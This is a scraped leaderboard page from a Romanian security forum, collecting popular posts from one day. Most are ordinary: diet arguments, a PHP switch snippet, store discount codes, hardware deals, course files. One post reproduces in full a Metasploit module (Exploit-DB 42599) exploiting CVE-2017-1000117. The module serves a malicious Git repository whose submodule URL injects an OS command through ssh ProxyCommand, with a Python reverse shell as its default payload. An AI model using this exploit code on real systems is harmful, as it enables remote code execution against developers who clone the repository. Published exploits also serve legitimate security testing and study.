Leaderboard
Popular Content
Showing content with the highest reputation on 09/01/17 in Posts
-
La noi astia cu carnea, ne lasa gura apa cand vedem ce a dat albastrel. La voi astia vegani, cand vedeti stadioane cu gazon, va saliveaza gura ?10 points
-
1. What the actual fuck?!? 2. Ai cerut pareri dar apoi te apuci sa contrazici omul. E parerea lui, take it or leave it (asa cum o ai pe a ta). 3. Daca te plictisesti mergi si taie frunze la caini. (couldn't resist!)5 points
-
3 points
-
3 points
-
Genial, deci practic ai inlocuit elseif cu case si in final ai fi scris cu o linie mai mult decat cu elseif.2 points
-
CJGTD234VMJ44FV9397RR2JHZ - 10% discount Microsoft Store. This is a single use code for your use only. (daca e folosit mai pot procura. Daca il folositi spuneti.) UNIUKIR13420EWK - 20% discount Sennheiser. This is a single use code for your use only. (daca e folosit mai pot procura. Daca il folositi spuneti) RCWX$MHL?5PJ7S - 10% discount Dell. This is a single use discount code and cannot be used in combination with any other offer (daca e folosit mai pot procura. Daca il folositi spuneti). Maximum 1 code redemption per member per month. Discount applies to Inspiron, XPS, Vostro, Latitude, Precision, OptiPlex and Alienware. Discount applies to hardware products over £499 inc Vat and free shipping on one unit. The discount coupon can be redeemed online only. Purchases can only be made via the Home Section of the Dell website UNI-8-10-MS6R3W5 - 10% discount Canon. HP - urmatoarele reduceri doar prin contul meu: Savings of up to 30% on Accessories, up to 10% on Printers, up to 15% on Inks and Toners, up to 10% on Monitors & up to 10% on PC's. Microsoft Surface Pro 4 - 256GB / Intel Core i7/8GB RAM - £958.30 - (doar prin contul meu)2 points
-
EDB-ID: 42599 Author: Metasploit Published: 2017-08-31 CVE: CVE-2017-1000117 Type: Remote Platform: Python Aliases: N/A Advisory/Source: Link Tags: Metasploit Framework E-DB Verified: Exploit: Download / View Raw Vulnerable App: N/A ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'Malicious Git HTTP Server For CVE-2017-1000117', 'Description' => %q( This module exploits CVE-2017-1000117, which affects Git version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed parameters from the username incorrectly. This can be used to inject commands to the operating system when the submodule is cloned. This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised. ), 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-1000117'], ['URL', 'http://seclists.org/oss-sec/2017/q3/280' ] ], 'DisclosureDate' => 'Aug 10 2017', 'Targets' => [ [ 'Automatic', { 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'python' } } } ] ], 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_python' }, 'DefaultTarget' => 0 ) ) register_options( [ OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']), OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', '']) ] ) end def setup @repo_data = { git: { files: {} } } setup_git super end def setup_git # URI must start with a / unless git_uri && git_uri =~ /^\// fail_with(Failure::BadConfig, 'GIT_URI must start with a /') end payload_cmd = payload.encoded + " &" payload_cmd = Rex::Text.to_hex(payload_cmd, '%') submodule_path = datastore['GIT_SUBMODULE'] if submodule_path.blank? submodule_path = Rex::Text.rand_text_alpha(rand(8) + 2).downcase end gitmodules = "[submodule \"#{submodule_path}\"] path = #{submodule_path} url = ssh://-oProxyCommand=#{payload_cmd}/ " sha1, content = build_object('blob', gitmodules) @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content tree = "100644 .gitmodules\0#{[sha1].pack('H*')}" tree += "160000 #{submodule_path}\0#{[sha1].pack('H*')}" sha1, content = build_object('tree', tree) @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content ## build the supposed commit that dropped this file, which has a random user/company email = Rex::Text.rand_mail_address first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten full_name = "#{first.capitalize} #{last.capitalize}" tstamp = Time.now.to_i author_time = rand(tstamp) commit_time = rand(author_time) tz_off = rand(10) commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \ "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \ "\n" \ "Initial commit to open git repository for #{company}!\n" sha1, content = build_object('commit', "tree #{sha1}\n#{commit}") @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n" @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n" end # Build's a Git object def build_object(type, content) # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html header = "#{type} #{content.size}\0" store = header + content [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)] end # Returns the Git object path name that a file with the provided SHA1 will reside in def get_path(sha1) sha1[0...2] + '/' + sha1[2..40] end def exploit super end def primer # add the git and mercurial URIs as necessary hardcoded_uripath(git_uri) print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}") end # handles routing any request to the mock git, mercurial or simple HTML as necessary def on_request_uri(cli, req) # if the URI is one of our repositories and the user-agent is that of git/mercurial # send back the appropriate data, otherwise just show the HTML version user_agent = req.headers['User-Agent'] if user_agent && user_agent =~ /^git\// && req.uri.start_with?(git_uri) do_git(cli, req) return end do_html(cli, req) end # simulates a Git HTTP server def do_git(cli, req) # determine if the requested file is something we know how to serve from our # fake repository and send it if so req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '') if @repo_data[:git][:files].key?(req_file) vprint_status("Sending Git #{req_file}") send_response(cli, @repo_data[:git][:files][req_file]) else vprint_status("Git #{req_file} doesn't exist") send_not_found(cli) end end # simulates an HTTP server with simple HTML content that lists the fake # repositories available for cloning def do_html(cli, _req) resp = create_response resp.body = <<HTML <html> <head><title>Public Repositories</title></head> <body> <p>Here are our public repositories:</p> <ul> HTML this_git_uri = URI.parse(get_uri).merge(git_uri) resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>" resp.body << <<HTML </ul> </body> </html> HTML cli.send_response(resp) end # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI def git_uri return @git_uri if @git_uri if datastore['GIT_URI'].blank? @git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git' else @git_uri = datastore['GIT_URI'] end end end Source: https://www.exploit-db.com/exploits/42599/2 points
-
https://mediagalaxy.ro/hard-disk-desktop-seagate-st2000vx000-2tb-7200rpm-64mb-sata3 HDD Seagate 2TB - 205 Lei (recomandat pentru supraveghere video)2 points
-
- - Zii sa mori tu ca "ideile geniale" se nasc din discutii contradictorii pe RST despre vegan vs non-vegan! Geme Rromania de genii formati din discutii de genul pe RST. - Argumentele se merita facute intr-un mediu relativ echivalent. Nu trebuie sa te pui cu mintea prostului pentru ca e odihnita.2 points
-
Nu-s la curent cu studiile stiintifice pe subiectul asta, dar sunt convins ca pot gasi pe google si studii care zic ca si carnea e buna. Sunt de acord ca e ok sa diversifici, sa mananci si carne, si legume, si fructe, dar toate cu masura. Nu e gresit sa-ti fie mila de un caine sau alt animal, dar e stupid sa te iei prea in serios si sa nu tai nici o gaina doar pentru ca e neajutorata. Chiar daca mie nu mi se pare ok sa mananc un caine pentru ca noi pe-aici empatizam cu ei, dar cu totii cred ca am vazut pe youtube ce fac chinezii cu ei. La fel cred ca nici indienii nu ar manca vita, dar la noi nu lipseste din niciun restaurant. La fel si musulmanii cu porcul pentru ca religia nu le permite.2 points
-
Alti zapaciti din Resurse Umane, care nu stiu cum ce se mananca meseria de pentester. Cu anunturi din alea ii plin netu'!2 points
-
Aici se vor posta doar oferte valabile gasite la diferite magazine online, din tara si nu numai. Rog a se posta atat link-ul cat si pretul. Ar fi indicat sa va asigurati ca produsul respectiv nu exista la un pret mai mic la un alt magazin, altfel ar fi inutil postul. Deasemenea, reducerea sa fie semnificativa, nu de-al de 3 lei 25.1 point
-
https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-caliskan-islam.pdf1 point
-
Am corectat. M-am referit la comparaţii de tipul a > b, a >=b, etc. În general, din ce am văzut, sunt folosite două variante în case: dacă variabila este identică cu o valoare sau dacă variabila se află într-un interval (ex. "case 1 ... 100").1 point
-
@Erase @dancezar Ceva de genul asta: <?php function return_time($timestamp){ $mins = time() - $timestamp; switch (true) { case $mins == 0: $mins = "adineauri"; break; case $mins == 1: $mins = "acum o secunda"; break; case $mins < 20: $mins = "acum $mins secunde"; break; default: $mins = "niciodata"; break; } return $mins; } ?>1 point
-
Daca aplici pentru companii straine iti recomand serviciile celor de aici - https://www.cvcentre.co.uk/ - acum ceva ani m-au ajutat mult si s-a meritat cat am dat atunci (£40) pentru CV si profil Linkedin. Intre timp au mai crescut preturile dar am vazut diferente majore in numarul de raspunsuri / invitatii la interviu de atunci. Si l-au retusat de 2x pana am fost multumit, fara cost aditional.1 point
-
Prima data apara elefantii care sunt vanati pentru prostia asiaticilor si dupa zi-ne cum ii cu pascutul de iarba. De astia nu ti mila? Si pentru cultura ta generala gainile si porci sunt crescuti industrial in sistem intensiv. Nu acelasi lucru putem spune si despre pesti. Era ceva daca ziceai ovo-lacto-vegetarianism. Te deranjeaza cand tanti Mita trage vaca de sfarcuri? Prietenul tau de la PRO TV a luat mancarea de la gura veveritelor si a maimutelor, nucile respectiv bananele. Asta nu ii cruzime? Sa veizi ce sentimente de compasiune are un leu cand esti cu el in cusca. Se pare ca unii uita unde se situeaza in lantul trofic. Asta se intampla cand unii merg mai mult pe langa scoala decat la scoala.1 point
-
De mii de ani oamenii vaneaza animale ca sa aiba ce manca si brusc unora li s-a facut mila de ele si mananca frunze in semn de protest. - asta legat de una din optiunile de vot si de primele secunde din al doilea video Exceptie, evident, fac cei care poate din motive medicale sunt fortati sa nu manance carne.1 point
-
1 point
-
Assamblare Nou: cursuri (doc) de la facultate, EASY ASM Lungu+Musca Slide Arhitectura Slide Arhitectura: Name ------------------------------------------------------ APEL.doc ASSAMBLE.DOC BIBLIOGRAFIE.doc Cuprins Curs ARHI.doc Cursul 1 Introducere.ppt Cursul 1 Introducerei.ppt Cursul 1.doc Cursul 10 Interfata seriala si paralela.ppt Cursul 10.doc Cursul 12 Dispozitive secundare de stocare.ppt Cursul 12.doc Cursul 2 Registrele CPU 8086 si Moduri de adresare.ppt Cursul 2.doc Cursul 3 Instructiuni.ppt Cursul 3.doc Cursul 4 Servicii BIOS&DOS.ppt Cursul 4.doc Cursul 5 Moduri VIDEO.ppt Cursul 5.doc Cursul 6 Programe in limbaj de asamblare.ppt Cursul 6.doc Cursul 7 Tehnici IO.ppt Cursul 7.doc Cursul 8 Circuite Timer_Counter.ppt Cursul 8.doc Cursul 9 Hotkeys_Clock Ticks si TSR.ppt Cursul 9.doc desene.doc MACROMUS.WPD Moduri de adresare.doc Programul DEBUG.doc ------------------------------------------------------ 31 Files - 13.564 MB Download link: http://www59.zippyshare.com/v/EMelR8TF/file.html1 point
-
AGSQ iti transmite sa citesti, ori de cate ori te simti neputincios, paraclisul Maicii Domnului si sa vorbesti cu duhovnicul tau (fa-ti unul daca n-ai): http://www.doxologia.ro/ceaslov/paraclise/paraclisul-preasfintei-nascatoare-de-dumnezeu-1 points
-
Da il contrazic! Ce e rau in asta? Din perspectiva mea gandeste gresit! Ideile geniale se nasc din discutii contradictorii, atunci cand ambele parti au argumente solide. Ai vreun argument ? sau ai de gand sa o faci pe avocatu? Crybaby!-2 points
This leaderboard is set to Bucharest/GMT+02:00